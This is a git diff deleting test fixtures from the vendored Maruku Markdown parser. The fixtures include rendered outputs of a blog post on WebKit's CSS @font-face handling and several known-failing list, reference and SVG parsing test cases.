-<p>To give Microsoft a little credit, something I rarely do&#8230; Yes, I&#8217;m aware Microsoft submitted EOT to the <abbr title="World Wide Web Consortium">W3C</abbr> as a proposal - the problem isn&#8217;t with their attempts to make it non-proprietary, but with the basic concept of making typefaces on the web DRMed. Look what such attempts have done to the music and video industry - simply decimated it. Do we really want to see the same thing happen to our beloved medium as typography moves into the 21st century? <a href="#fnref:2" rev="footnote">&#8617;</a></p>
-</li></ol></div>
-*** Output of to_latex ***
-\hypertarget{webkit_safari_31_and_the_css_fontface_declaration_1}{}\section*{{WebKit (Safari 3.1) and the CSS @font-face declaration}}\label{webkit_safari_31_and_the_css_fontface_declaration_1}
-
-I'{}m a big fan of typography in general. If you check out \href{http://elliottcable.name}{my homepage} or my \href{http://elliottcable.name/contact.xhtml}{contact elliottcable} page, and you'{}re using Safari/WebKit or Opera/Kestrel, you'{}ll notice the typefaces (fonts, as colloquialized) are \emph{very} non-standard. (As of this writing, I'{}m using \href{http://www.josbuivenga.demon.nl/museo.html}{Museo} and \href{http://www.josbuivenga.demon.nl/diavlo.html}{Diavlo}\footnote{These are fonts by \href{jos}{Jos Buivenga}, quite the amazing person. His (free) fonts are, uniquely, released for use on the web in {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} declarations - unlike the vast majority of other (even free to download) typefaces, which have ridiculously restricting licenses and terms of use statements. Props, Jos - you'{}re a pioneer, and deserve recognition as such.}  heavily on both.)
-
-The internet has not be a friendly place for typohiles like myself, up to this point, at least. One might even say it was a frightful, mentally scarring environment for those akin to yours truly. We'{}ve been restricted to reading page after page after page on day after day after day for year after year after year abominations of markup and design enslaved by the horrible overlords we know as Lucida, Verdana, Arial, Helvetica, Geneva, Georgia, Courier, and\ldots{} dare I invoke ye, thou my terrible overlord? Times New Roman.
-
-Wherefore art thou, my glorious Archer? And thee as well, my beautiful Garamond? The technical restrictions of that horrible monster we know as the Web Browser hath forced us all too long to use those most banal, those most common, and those most abused, out of all of the typefaces of the world.
-
-All hyperbole aside, I'{}m extremely happy to see the advent of a standard {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} declaration in CSS. Internet Explorer first implemented a crutched, basic version of this way back in version 4, but nothing ever really came of it - their decision to create the proprietary .EOT\footnote{To give Microsoft a little credit, something I rarely do\ldots{} Yes, I'{}m aware Microsoft submitted EOT to the W3C as a proposal - the problem isn'{}t with their attempts to make it non-proprietary, but with the basic concept of making typefaces on the web DRMed. Look what such attempts have done to the music and video industry - simply decimated it. Do we really want to see the same thing happen to our beloved medium as typography moves into the 21st century?}  format to appease overly restrictive type foundries'{} worries about intellectual property (aka. the cold, hard dominatrix that we know only as Ms. Profit) truly and completely killed that initial attempt at bringing astute typography and it'{}s advocates to the web. This new run at {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} by an established, trusted, and open group (the \href{http://w3c.org}{W3C} itself, responsible for helping to make much of what we use as designers on the web standard and cross-system compatible) has a much better chance, in my humble opinion - and I am quite looking forward to the consequences if it succeeds.
-
-Now, onwards to the topic of my post as declared in the header (yes, I know, a slow start - but it'{}s an interesting topic with an interesting history!). WebKit, the open source rendering engine behind the wonderfulness that is Safari, and how it handles the `{}new'{} {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} declaration. No, it'{}s not really `{}new'{}, but yes, it feels like it is.
-
-To put it simply, and to be very blunt, it'{}s broken.
-
-The \href{http://?}{CSS spec section} for {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} is very specific - typefaces are to be selected based on a wide array of criteria placed in the {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} declaration block itself. Various textual CSS attributes may be defined within the {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} declaration, and then they will be checked when the typeface is referred to later in the CSS. For instance, if I have two {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} declarations for the Diavlo family - one for regular text, and one for a heavier weighted version of the typeface - then I later utilize Diavlo in a {\colorbox[rgb]{1.00,0.93,1.00}{\tt font\char45family\char58}} attribute, it should refer to the basic Diavlo font defined in the first {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}}. However, if I were to do the same, but also specify a heavy {\colorbox[rgb]{1.00,0.93,1.00}{\tt font\char45weight\char58}}, then it should use the heavier version of Diavlo. To place this example in code:
-
-\begin{verbatim}@font-face {
-  font-family: 'Diavlo';
-  src: url(./Diavlo/Diavlo_Book.otf) format("opentype");
-}
-
-@font-face {
-  font-family: 'Diavlo';
-  font-weight: 900;
-  src: url(./Diavlo/Diavlo_Black.otf) format("opentype");
-}
-
-h1, h2, h3, h4, h5, h6 {
-  font-family: 'Diavlo';
-  font-weight: 900;
-}
-
-div#content {
-  font-family: 'Diavlo';
-}\end{verbatim}
-As you can see, my headings should use the typeface defined in {\colorbox[rgb]{1.00,0.93,1.00}{\tt Diavlo\char95Black\char46otf}}, while my body content should use {\colorbox[rgb]{1.00,0.93,1.00}{\tt Diavlo\char95Book\char46otf}}. However, in WebKit, this doesn'{}t work - it completely ignores any attribute except {\colorbox[rgb]{1.00,0.93,1.00}{\tt font\char45family\char58}} and {\colorbox[rgb]{1.00,0.93,1.00}{\tt src\char58}} in a {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} declaration! Completely ignores them! Not only that - not \emph{only} that - it disregards all but the last {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} for a given {\colorbox[rgb]{1.00,0.93,1.00}{\tt font\char45family\char58}} attribute string!
-
-The implication here is that, to make {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} work as it is currently implemented in WebKit (and thus, Safari 3.1), I have to declare \emph{completely imaginary, non-existent type families} to satisfy WebKit alone. Here'{}s the method I have used in the places I current implement {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}}:
-
-\begin{verbatim}@font-face {
-  font-family: 'Diavlo Book';
-  src: url(./Diavlo/Diavlo_Book.otf) format("opentype");
-}
-
-@font-face {
-  font-family: 'Diavlo Black';
-  src: url(./Diavlo/Diavlo_Black.otf) format("opentype");
-}
-
-h1, h2, h3, h4, h5, h6 {
-  font-family: 'Diavlo Black';
-}
-
-div#content {
-  font-family: 'Diavlo Book';
-}\end{verbatim}
-Isn'{}t it horrible? Seriously, my eyes, they bleed. There'{}s lots of problems with this far beyond the lack of semanticity when it comes to the typeface names\ldots{} let me see how many ways this breaks the purpose of {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}}:
-
-\begin{itemize}%
-\item You remove a large element our control over the display of the page.
-
-As soon as we begin to use {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} in our page, we can no longer make any use of any other textual control attribute - {\colorbox[rgb]{1.00,0.93,1.00}{\tt font\char45weight\char58}}, {\colorbox[rgb]{1.00,0.93,1.00}{\tt font\char45style\char58}}, and {\colorbox[rgb]{1.00,0.93,1.00}{\tt font\char45variant\char58}} are no longer available to us, because they no longer correctly map to technical typeface variant/features.
-
-Also, many default elements are destroyed, unusable, without `{}fixing'{} - for instance, {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char60b\char62}} would have no effect in a page styled for WebKit as above; We would have to specify something like {\colorbox[rgb]{1.00,0.93,1.00}{\tt b\char32\char123font\char45family\char58\char32\char39Diavlo\char32Black\char39\char59\char125}} - how broken is that? Unless we caught all such default elements and re-styled them to use the bastardized names instead of the correct attributes, lots of basic HTML formatting would be broken. I myself may never use in-document formatting (separation of design and content!), but what about comments forms? Forum posts? Direct HTML-literal quotes?
-
-If we want to use Javascript to modify the display of the content, we can'{}t simply adjust the mentioned textual control attributes - we have to know and change the entire {\colorbox[rgb]{1.00,0.93,1.00}{\tt font\char45family\char58}} array of strings.
-
-
-\item You make us very wet.
-
-And by wet, I mean `{}not DRY'{}. What if we decide to change one of the bastardized font names? Or use a different font entirely? We have to go through all of our CSS, all of our Javascript, and make sure we update every occurrence of the typeface'{}s bastardized name.
-
-
-\item You remove our user'{}s user choice, and waste bandwidth.
-
-Since the names refer to families that don'{}t, in fact, exist, the browser can'{}t override the declaration with a user'{}s installed version of the typeface. This means that, regardless of whether the user already has the typeface installed on their own computer, the browser won'{}t use that - it doesn'{}t know to use `{}Diavlo'{}, which the user has installed, because it was told to use `{}Diavlo Black'{}, which no user in the entire world has installed on their computer.
-
-
-
-\end{itemize}
-This whole thing is rather worrying - I'{}ve heard Opera has {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} support, though I haven'{}t had time to test this myself, so I don'{}t know if it actually does - or, for that matter, if it does it `{}correctly'{}, or has the same problems as WebKit. But either way, WebKit is one of the first two implementations to ever attempt to support {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} (Microsoft'{}s unrelated {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char64font\char45face}} declaration notwithstanding) - I really don'{}t want to see it'{}s early mistakes carried on to FireFox in a few years, and then Internet Explorer a few decades after that. That will leave us stuck with this broken system forever, as it has been demonstrated time and time again that if nobody else supports an old standard correctly, a newcomer to the standard will not do it correctly either. I for one would really, really, hate that.
-
-In summary\ldots{} come on, WebKit team, this isn'{}t like you - you'{}re always the ones with the closest-to-standard implementation, and the cleanest code, and\ldots{} hell, overall? Webkit is the most secure/fastest browser available. But this is making me lose my faith in you, guys, please get it right. You'{}re pioneering a leap into the future when it comes to the Web - this is as important, or \emph{more} important, than Mosiac'{}s allowing of images was.
-
-To put it succinctly - don'{}t fuck this up, y'{}all.
-*** Output of to_md ***
-WebKit (Safari 3.1) and the CSS @font-face declarationI m a big fan of typography in general.
-If you check out my homepageor my
-contact elliottcablepage, and you re
-using Safari/WebKit or Opera/Kestrel,
-you ll notice the typefaces (fonts, as
-colloquialized) are verynon-standard.
-(As of this writing, I m using Museoand
-Diavloheavily on both.)
-
-The internet has not be a friendly
-place for typohiles like myself, up to
-this point, at least. One might even
-say it was a frightful, mentally
-scarring environment for those akin to
-yours truly. We ve been restricted to
-reading page after page after page on
-day after day after day for year after
-year after year abominations of markup
-and design enslaved by the horrible
-overlords we know as Lucida, Verdana,
-Arial, Helvetica, Geneva, Georgia,
-Courier, and dare I invoke ye, thou my
-terrible overlord? Times New Roman.
-
-Wherefore art thou, my glorious Archer?
-And thee as well, my beautiful
-Garamond? The technical restrictions of
-that horrible monster we know as the
-Web Browser hath forced us all too long
-to use those most banal, those most
-common, and those most abused, out of
-all of the typefaces of the world.
-
-All hyperbole aside, I m extremely
-happy to see the advent of a standard
-declaration in CSS. Internet Explorer
-first implemented a crutched, basic
-version of this way back in version 4,
-but nothing ever really came of it -
-their decision to create the
-proprietary .EOT format to appease
-overly restrictive type foundries
-worries about intellectual property
-(aka. the cold, hard dominatrix that we
-know only as Ms. Profit) truly and
-completely killed that initial attempt
-at bringing astute typography and it s
-advocates to the web. This new run at
-by an established, trusted, and open
-group (the W3Citself, responsible for
-helping to make much of what we use as
-designers on the web standard and
-cross-system compatible) has a much
-better chance, in my humble opinion -
-and I am quite looking forward to the
-consequences if it succeeds.
-
-Now, onwards to the topic of my post as
-declared in the header (yes, I know, a
-slow start - but it s an interesting
-topic with an interesting history!).
-WebKit, the open source rendering
-engine behind the wonderfulness that is
-Safari, and how it handles the new
-declaration. No, it s not really new ,
-but yes, it feels like it is.
-
-To put it simply, and to be very blunt,
-it s broken.
-
-The CSS spec sectionfor is very
-specific - typefaces are to be selected
-based on a wide array of criteria
-placed in the declaration block itself.
-Various textual CSS attributes may be
-defined within the declaration, and
-then they will be checked when the
-typeface is referred to later in the
-CSS. For instance, if I have two
-declarations for the Diavlo family -
-one for regular text, and one for a
-heavier weighted version of the
-typeface - then I later utilize Diavlo
-in a attribute, it should refer to the
-basic Diavlo font defined in the first
-. However, if I were to do the same,
-but also specify a heavy , then it
-should use the heavier version of
-Diavlo. To place this example in code:
-
-As you can see, my headings should use
-the typeface defined in , while my body
-content should use . However, in
-WebKit, this doesn t work - it
-completely ignores any attribute except
-and in a declaration! Completely
-ignores them! Not only that - not only
-that - it disregards all but the last
-for a given attribute string!
-
-The implication here is that, to make
-work as it is currently implemented in
-WebKit (and thus, Safari 3.1), I have
-to declare
-completely imaginary, non-existent type families
-to satisfy WebKit alone. Here s the
-method I have used in the places I
-current implement :
-
-Isn t it horrible? Seriously, my eyes,
-they bleed. There s lots of problems
-with this far beyond the lack of
-semanticity when it comes to the
-typeface names let me see how many ways
-this breaks the purpose of :
-
--You remove a large element our control over the display of the page.
-As soon as we begin to use  in our page, we can no longer make any use of any other textual control attribute - , , and  are no longer available to us, because they no longer correctly map to technical typeface variant/features.
-Also, many default elements are destroyed, unusable, without fixing - for instance,  would have no effect in a page styled for WebKit as above; We would have to specify something like  - how broken is that? Unless we caught all such default elements and re-styled them to use the bastardized names instead of the correct attributes, lots of basic HTML formatting would be broken. I myself may never use in-document formatting (separation of design and content!), but what about comments forms? Forum posts? Direct HTML-literal quotes?
-If we want to use Javascript to modify the display of the content, we cant simply adjust the mentioned textual control attributes - we have to know and change the entire  array of strings.
--ou make us very wet.
-And by wet, I mean not DRY. What if we decide to change one of the bastardized font names? Or use a different font entirely? We have to go through all of our CSS, all of our Javascript, and make sure we update every occurrence of the typefaces bastardized name.
--You remove our users user choice, and waste bandwidth.
-Since the names refer to families that dont, in fact, exist, the browser cant override the declaration with a users installed version of the typeface. This means that, regardless of whether the user already has the typeface installed on their own computer, the browser wont use that - it doesnt know to use Diavlo, which the user has installed, because it was told to use Diavlo Black, which no user in the entire world has installed on their computer.
-
-This whole thing is rather worrying - I
-ve heard Opera has support, though I
-haven t had time to test this myself,
-so I don t know if it actually does -
-or, for that matter, if it does it
-correctly , or has the same problems as
-WebKit. But either way, WebKit is one
-of the first two implementations to
-ever attempt to support (Microsoft s
-unrelated declaration notwithstanding)
-- I really don t want to see it s early
-mistakes carried on to FireFox in a few
-years, and then Internet Explorer a few
-decades after that. That will leave us
-stuck with this broken system forever,
-as it has been demonstrated time and
-time again that if nobody else supports
-an old standard correctly, a newcomer
-to the standard will not do it
-correctly either. I for one would
-really, really, hate that.
-
-In summary come on, WebKit team, this
-isn t like you - you re always the ones
-with the closest-to-standard
-implementation, and the cleanest code,
-and hell, overall? Webkit is the most
-secure/fastest browser available. But
-this is making me lose my faith in you,
-guys, please get it right. You re
-pioneering a leap into the future when
-it comes to the Web - this is as
-important, or moreimportant, than
-Mosiac s allowing of images was.
-
-To put it succinctly - don t fuck this
-up, y all.
-
-CSS: Cascading Style Sheets.EOT:
-Embedded OpenType : To give Microsoft a
-little credit, something I rarely do
-Yes, I m aware Microsoft submitted EOT
-to the W3C as a proposal - the problem
-isn t with their attempts to make it
-non-proprietary, but with the basic
-concept of making typefaces on the web
-DRMed. Look what such attempts have
-done to the music and video industry -
-simply decimated it. Do we really want
-to see the same thing happen to our
-beloved medium as typography moves into
-the 21st century?
-W3C: World Wide Web Consortium
-*** Output of to_s ***
-WebKit (Safari 3.1) and the CSS @font-face declarationIm a big fan of typography in general. If you check out my homepage or my contact elliottcable page, and youre using Safari/WebKit or Opera/Kestrel, youll notice the typefaces (fonts, as colloquialized) are very non-standard. (As of this writing, Im using Museo and Diavlo heavily on both.)The internet has not be a friendly place for typohiles like myself, up to this point, at least. One might even say it was a frightful, mentally scarring environment for those akin to yours truly. Weve been restricted to reading page after page after page on day after day after day for year after year after year abominations of markup and design enslaved by the horrible overlords we know as Lucida, Verdana, Arial, Helvetica, Geneva, Georgia, Courier, and dare I invoke ye, thou my terrible overlord? Times New Roman.Wherefore art thou, my glorious Archer? And thee as well, my beautiful Garamond? The technical restrictions of that horrible monster we know as the Web Browser hath forced us all too long to use those most banal, those most common, and those most abused, out of all of the typefaces of the world.All hyperbole aside, Im extremely happy to see the advent of a standard  declaration in CSS. Internet Explorer first implemented a crutched, basic version of this way back in version 4, but nothing ever really came of it - their decision to create the proprietary .EOT format to appease overly restrictive type foundries worries about intellectual property (aka. the cold, hard dominatrix that we know only as Ms. Profit) truly and completely killed that initial attempt at bringing astute typography and its advocates to the web. This new run at  by an established, trusted, and open group (the W3C itself, responsible for helping to make much of what we use as designers on the web standard and cross-system compatible) has a much better chance, in my humble opinion - and I am quite looking forward to the consequences if it succeeds.Now, onwards to the topic of my post as declared in the header (yes, I know, a slow start - but its an interesting topic with an interesting history!). WebKit, the open source rendering engine behind the wonderfulness that is Safari, and how it handles the new  declaration. No, its not really new, but yes, it feels like it is.To put it simply, and to be very blunt, its broken.The CSS spec section for  is very specific - typefaces are to be selected based on a wide array of criteria placed in the  declaration block itself. Various textual CSS attributes may be defined within the  declaration, and then they will be checked when the typeface is referred to later in the CSS. For instance, if I have two  declarations for the Diavlo family - one for regular text, and one for a heavier weighted version of the typeface - then I later utilize Diavlo in a  attribute, it should refer to the basic Diavlo font defined in the first . However, if I were to do the same, but also specify a heavy , then it should use the heavier version of Diavlo. To place this example in code:As you can see, my headings should use the typeface defined in , while my body content should use . However, in WebKit, this doesnt work - it completely ignores any attribute except  and  in a  declaration! Completely ignores them! Not only that - not only that - it disregards all but the last  for a given  attribute string!The implication here is that, to make  work as it is currently implemented in WebKit (and thus, Safari 3.1), I have to declare completely imaginary, non-existent type families to satisfy WebKit alone. Heres the method I have used in the places I current implement :Isnt it horrible? Seriously, my eyes, they bleed. Theres lots of problems with this far beyond the lack of semanticity when it comes to the typeface names let me see how many ways this breaks the purpose of :You remove a large element our control over the display of the page.As soon as we begin to use  in our page, we can no longer make any use of any other textual control attribute - , , and  are no longer available to us, because they no longer correctly map to technical typeface variant/features.Also, many default elements are destroyed, unusable, without fixing - for instance,  would have no effect in a page styled for WebKit as above; We would have to specify something like  - how broken is that? Unless we caught all such default elements and re-styled them to use the bastardized names instead of the correct attributes, lots of basic HTML formatting would be broken. I myself may never use in-document formatting (separation of design and content!), but what about comments forms? Forum posts? Direct HTML-literal quotes?If we want to use Javascript to modify the display of the content, we cant simply adjust the mentioned textual control attributes - we have to know and change the entire  array of strings.You make us very wet.And by wet, I mean not DRY. What if we decide to change one of the bastardized font names? Or use a different font entirely? We have to go through all of our CSS, all of our Javascript, and make sure we update every occurrence of the typefaces bastardized name.You remove our users user choice, and waste bandwidth.Since the names refer to families that dont, in fact, exist, the browser cant override the declaration with a users installed version of the typeface. This means that, regardless of whether the user already has the typeface installed on their own computer, the browser wont use that - it doesnt know to use Diavlo, which the user has installed, because it was told to use Diavlo Black, which no user in the entire world has installed on their computer.This whole thing is rather worrying - Ive heard Opera has  support, though I havent had time to test this myself, so I dont know if it actually does - or, for that matter, if it does it correctly, or has the same problems as WebKit. But either way, WebKit is one of the first two implementations to ever attempt to support  (Microsofts unrelated  declaration notwithstanding) - I really dont want to see its early mistakes carried on to FireFox in a few years, and then Internet Explorer a few decades after that. That will leave us stuck with this broken system forever, as it has been demonstrated time and time again that if nobody else supports an old standard correctly, a newcomer to the standard will not do it correctly either. I for one would really, really, hate that.In summary come on, WebKit team, this isnt like you - youre always the ones with the closest-to-standard implementation, and the cleanest code, and hell, overall? Webkit is the most secure/fastest browser available. But this is making me lose my faith in you, guys, please get it right. Youre pioneering a leap into the future when it comes to the Web - this is as important, or more important, than Mosiacs allowing of images was.To put it succinctly - dont fuck this up, yall.CSS: Cascading Style Sheets.EOT: Embedded OpenType : To give Microsoft a little credit, something I rarely do Yes, Im aware Microsoft submitted EOT to the W3C as a proposal - the problem isnt with their attempts to make it non-proprietary, but with the basic concept of making typefaces on the web DRMed. Look what such attempts have done to the music and video industry - simply decimated it. Do we really want to see the same thing happen to our beloved medium as typography moves into the 21st century? W3C: World Wide Web Consortium
diff --git a/vendor/plugins/maruku/spec/block_docs/red_tests/lists7.md b/vendor/plugins/maruku/spec/block_docs/red_tests/lists7.md
deleted file mode 100644
index dac68eaf..00000000
--- a/vendor/plugins/maruku/spec/block_docs/red_tests/lists7.md
+++ /dev/null
@@ -1,32 +0,0 @@
-I'm not sure if this should work at all...
-
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-Ciao
-
-*	Tab
-	*	Tab
-		*	Tab
-
-*** Output of inspect ***
-nil
-*** Output of to_html ***
-<p>Ciao</p>
-
-<ul>
-<li>Tab * Tab * Tab</li>
-</ul>
-*** Output of to_latex ***
-Ciao
-
-\begin{itemize}%
-\item Tab * Tab * Tab
-
-\end{itemize}
-*** Output of to_md ***
-Ciao
-
--ab * Tab * Tab
-*** Output of to_s ***
-CiaoTab * Tab * Tab
diff --git a/vendor/plugins/maruku/spec/block_docs/red_tests/lists7b.md b/vendor/plugins/maruku/spec/block_docs/red_tests/lists7b.md
deleted file mode 100644
index 75d2086b..00000000
--- a/vendor/plugins/maruku/spec/block_docs/red_tests/lists7b.md
+++ /dev/null
@@ -1,65 +0,0 @@
-Test case given by Scott.
-
-http://rubyforge.org/tracker/index.php?func=detail&aid=8862&group_id=2795&atid=10735
-
-a should not be indented.
-
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-* a
-  * a1
-  * a2
-* b
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ul,[
-		md_el(:li,[
-			"a",
-			md_el(:ul,[
-				md_el(:li_span,["a1"],{:want_my_paragraph=>false},[]),
-				md_el(:li_span,["a2"],{:want_my_paragraph=>false},[])
-			],{},[])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[md_par(["b"])],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<ul>
-<li>
-<p>a</p>
-
-<ul>
-<li>a1</li>
-
-<li>a2</li>
-</ul>
-</li>
-
-<li>
-<p>b</p>
-</li>
-</ul>
-*** Output of to_latex ***
-\begin{itemize}%
-\item a
-
-\begin{itemize}%
-\item a1
-\item a2
-
-\end{itemize}
-
-\item b
-
-
-
-\end{itemize}
-*** Output of to_md ***
--* a1
-* a2
--
-*** Output of to_s ***
-aa1a2b
diff --git a/vendor/plugins/maruku/spec/block_docs/red_tests/lists8.md b/vendor/plugins/maruku/spec/block_docs/red_tests/lists8.md
deleted file mode 100644
index 9e25ac3c..00000000
--- a/vendor/plugins/maruku/spec/block_docs/red_tests/lists8.md
+++ /dev/null
@@ -1,42 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-Here is a paragraph.
-
-
-   * Item 1
-   * Item 2
-   * Item 3
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Here is a paragraph."]),
-	md_el(:ul,[
-		md_el(:li_span,["Item 1"],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,["Item 2"],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,["Item 3"],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<p>Here is a paragraph.</p>
-
-<ul>
-<li>Item 1</li>
-
-<li>Item 2</li>
-
-<li>Item 3</li>
-</ul>
-*** Output of to_latex ***
-Here is a paragraph.
-
-* Item 1 * Item 2 * Item 3
-*** Output of to_md ***
-Here is a paragraph.
-
--tem 1
--tem 2
--tem 3
-*** Output of to_s ***
-Here is a paragraph.Item 1Item 2Item 3
diff --git a/vendor/plugins/maruku/spec/block_docs/red_tests/ref.md b/vendor/plugins/maruku/spec/block_docs/red_tests/ref.md
deleted file mode 100644
index 140ed5e3..00000000
--- a/vendor/plugins/maruku/spec/block_docs/red_tests/ref.md
+++ /dev/null
@@ -1,23 +0,0 @@
-Comment
-*** Parameters: ***
-{}
-*** Markdown input: ***
-[bar]
-[1].
-
-[1]: /url/ "Title"
-*** Output of inspect ***
-md_el(:document,[
-        md_par([md_link(["bar"],"1"), "."]),
-        md_ref_def("1", "/url/", {:title=>"Title"})
-],{},[])
-*** Output of to_html ***
-<p><a href='/url/' title='Title'>bar</a>.</p>
-*** Output of to_latex ***
-\href{/url/}{a}.
-*** Output of to_md ***
-[bar][1].
-
-[1]: /url/ "Title"
-*** Output of to_s ***
-bar.
diff --git a/vendor/plugins/maruku/spec/block_docs/red_tests/xml.html b/vendor/plugins/maruku/spec/block_docs/red_tests/xml.html
deleted file mode 100644
index df1f6871..00000000
--- a/vendor/plugins/maruku/spec/block_docs/red_tests/xml.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC
-    "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN"
-    "http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg.dtd">
-<html xmlns:svg='http://www.w3.org/2000/svg' xml:lang='en' xmlns='http://www.w3.org/1999/xhtml'>
-<head><meta content='application/xhtml+xml;charset=utf-8' http-equiv='Content-type' /><title></title></head>
-<body><pre class='markdown-html-error' style='border: solid 3px red; background-color: pink'>REXML could not parse this XML/HTML: 
-&lt;svg:svg/&gt;</pre><pre class='markdown-html-error' style='border: solid 3px red; background-color: pink'>REXML could not parse this XML/HTML: 
-&lt;svg:svg 
-width=&quot;600px&quot; height=&quot;400px&quot;&gt;
-  &lt;svg:g id=&quot;group&quot;&gt;
-	&lt;svg:circle id=&quot;circ1&quot; r=&quot;1cm&quot; cx=&quot;3cm&quot; cy=&quot;3cm&quot; style=&quot;fill:red;&quot;&gt;&lt;/svg:circle&gt;
-	&lt;svg:circle id=&quot;circ2&quot; r=&quot;1cm&quot; cx=&quot;7cm&quot; cy=&quot;3cm&quot; style=&quot;fill:red;&quot; /&gt;
-  &lt;/svg:g&gt;
-&lt;/svg:svg&gt;</pre></body></html>
\ No newline at end of file
diff --git a/vendor/plugins/maruku/spec/block_docs/red_tests/xml.md b/vendor/plugins/maruku/spec/block_docs/red_tests/xml.md
deleted file mode 100644
index b73339e1..00000000
--- a/vendor/plugins/maruku/spec/block_docs/red_tests/xml.md
+++ /dev/null
@@ -1,35 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{:on_error=>:raise}
-*** Markdown input: ***
-
-<img/>
-
-<svg:svg/>
-
-<svg:svg 
-width="600px" height="400px">
-  <svg:g id="group">
-	<svg:circle id="circ1" r="1cm" cx="3cm" cy="3cm" style="fill:red;"></svg:circle>
-	<svg:circle id="circ2" r="1cm" cx="7cm" cy="3cm" style="fill:red;" />
-  </svg:g>
-</svg:svg>
-
-*** Output of inspect ***
-md_el(:document,[
-	md_html("<svg:svg/>"),
-	md_html("<svg:svg \nwidth=\"600px\" height=\"400px\">\n  <svg:g id=\"group\">\n\t<svg:circle id=\"circ1\" r=\"1cm\" cx=\"3cm\" cy=\"3cm\" style=\"fill:red;\"></svg:circle>\n\t<svg:circle id=\"circ2\" r=\"1cm\" cx=\"7cm\" cy=\"3cm\" style=\"fill:red;\" />\n  </svg:g>\n</svg:svg>")
-],{},[])
-*** Output of to_html ***
-<svg:svg /><svg:svg height='400px' width='600px'>
-  <svg:g id='group'>
-	<svg:circle cy='3cm' id='circ1' r='1cm' cx='3cm' style='fill:red;' />
-	<svg:circle cy='3cm' id='circ2' r='1cm' cx='7cm' style='fill:red;' />
-  </svg:g>
-</svg:svg>
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/references/long_example.md b/vendor/plugins/maruku/spec/block_docs/references/long_example.md
deleted file mode 100644
index 848bb756..00000000
--- a/vendor/plugins/maruku/spec/block_docs/references/long_example.md
+++ /dev/null
@@ -1,76 +0,0 @@
-Taken from the syntax document
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-filters -- including [Setext] [1], [atx] [2], [Textile] [3], [reStructuredText] [4],
-[Grutatext] [5], and [EtText] [6] -- the single biggest source of
-inspiration for Markdown's syntax is the format of plain text email.
-
-  [1]: http://docutils.sourceforge.net/mirror/setext.html
-  [2]: http://www.aaronsw.com/2002/atx/
-  [3]: http://textism.com/tools/textile/
-  [4]: http://docutils.sourceforge.net/rst.html
-  [5]: http://www.triptico.com/software/grutatxt.html
-  [6]: http://ettext.taint.org/doc/
-
-To this end, Markdown's syntax is comprised entirely of punctuation
-*** Output of inspect ***
-md_el(:document,[
-	md_par([
-		"filters ",
-		md_entity("ndash"),
-		" including ",
-		md_link(["Setext"],"1"),
-		", ",
-		md_link(["atx"],"2"),
-		", ",
-		md_link(["Textile"],"3"),
-		", ",
-		md_link(["reStructuredText"],"4"),
-		", ",
-		md_link(["Grutatext"],"5"),
-		", and ",
-		md_link(["EtText"],"6"),
-		" ",
-		md_entity("ndash"),
-		" the single biggest source of inspiration for Markdown",
-		md_entity("rsquo"),
-		"s syntax is the format of plain text email."
-	]),
-	md_ref_def("1", "http://docutils.sourceforge.net/mirror/setext.html", {:title=>nil}),
-	md_ref_def("2", "http://www.aaronsw.com/2002/atx/", {:title=>nil}),
-	md_ref_def("3", "http://textism.com/tools/textile/", {:title=>nil}),
-	md_ref_def("4", "http://docutils.sourceforge.net/rst.html", {:title=>nil}),
-	md_ref_def("5", "http://www.triptico.com/software/grutatxt.html", {:title=>nil}),
-	md_ref_def("6", "http://ettext.taint.org/doc/", {:title=>nil}),
-	md_par([
-		"To this end, Markdown",
-		md_entity("rsquo"),
-		"s syntax is comprised entirely of punctuation"
-	])
-],{},[])
-*** Output of to_html ***
-<p>filters &#8211; including <a href="http://docutils.sourceforge.net/mirror/setext.html">Setext</a>, <a href="http://www.aaronsw.com/2002/atx/">atx</a>, <a href="http://textism.com/tools/textile/">Textile</a>, <a href="http://docutils.sourceforge.net/rst.html">reStructuredText</a>, <a href="http://www.triptico.com/software/grutatxt.html">Grutatext</a>, and <a href="http://ettext.taint.org/doc/">EtText</a> &#8211; the single biggest source of inspiration for Markdown&#8217;s syntax is the format of plain text email.</p>
-
-<p>To this end, Markdown&#8217;s syntax is comprised entirely of punctuation</p>
-*** Output of to_latex ***
